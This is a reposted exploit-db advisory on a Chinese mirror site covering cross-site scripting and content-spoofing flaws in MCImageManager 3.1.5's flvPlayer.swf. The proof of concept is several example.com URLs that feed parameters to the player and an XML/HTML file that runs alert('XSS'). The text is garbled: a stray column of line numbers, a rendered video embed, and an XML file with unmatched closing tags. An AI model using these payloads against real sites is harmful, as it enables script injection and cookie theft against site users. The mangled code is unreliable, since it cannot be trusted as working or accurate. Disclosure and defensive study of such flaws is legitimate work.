MCImageManager – Multiple Vulnerabilities - 体验盒子

作者： MustLive

日期： 2013-07-16

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/38709/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

source: https://www.securityfocus.com/bid/61825/info

MCImageManager is prone to multiple security vulnerabilities.

An attacker may exploit these issues to execute arbitrary HTML and script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, manipulate the page and spoof content to misguide users and to disclose or modify sensitive information. Other attacks may also be possible.

MCImageManager 3.1.5 and prior versions are vulnerable.

<div style="width: 640px;" class="wp-video"><video class="wp-video-shortcode" id="video-81757-2" preload="metadata" controls="controls"><source type="video/x-flv" src="http://www.example.com/tiny_mce/plugins/imagemanager/pages/im/flvplayer/flvPlayer.swf?flvToPlay=1.flv&_=2" /><a href="http://www.example.com/tiny_mce/plugins/imagemanager/pages/im/flvplayer/flvPlayer.swf?flvToPlay=1.flv">http://www.example.com/tiny_mce/plugins/imagemanager/pages/im/flvplayer/flvPlayer.swf?flvToPlay=1.flv</a></video></div>

http://www.example.com/tiny_mce/plugins/imagemanager/pages/im/flvplayer/flvPlayer.swf?autoStart=false&startImage=1.jpg

http://www.example.com/tiny_mce/plugins/imagemanager/pages/im/flvplayer/flvPlayer.swf?flvToPlay=1.flv&autoStart=false&startImage=1.jpg

http://www.example.com/tiny_mce/plugins/imagemanager/pages/im/flvplayer/flvPlayer.swf?flvToPlay=1.xml

File 1.xml:

<?xml version="1.0" encoding="UTF-8"?>

</playlist>

<html>

<body>

function flvStart() {

alert('XSS');

}

function flvEnd() {

alert('XSS');

}

</script>

</object>

</body>

</html>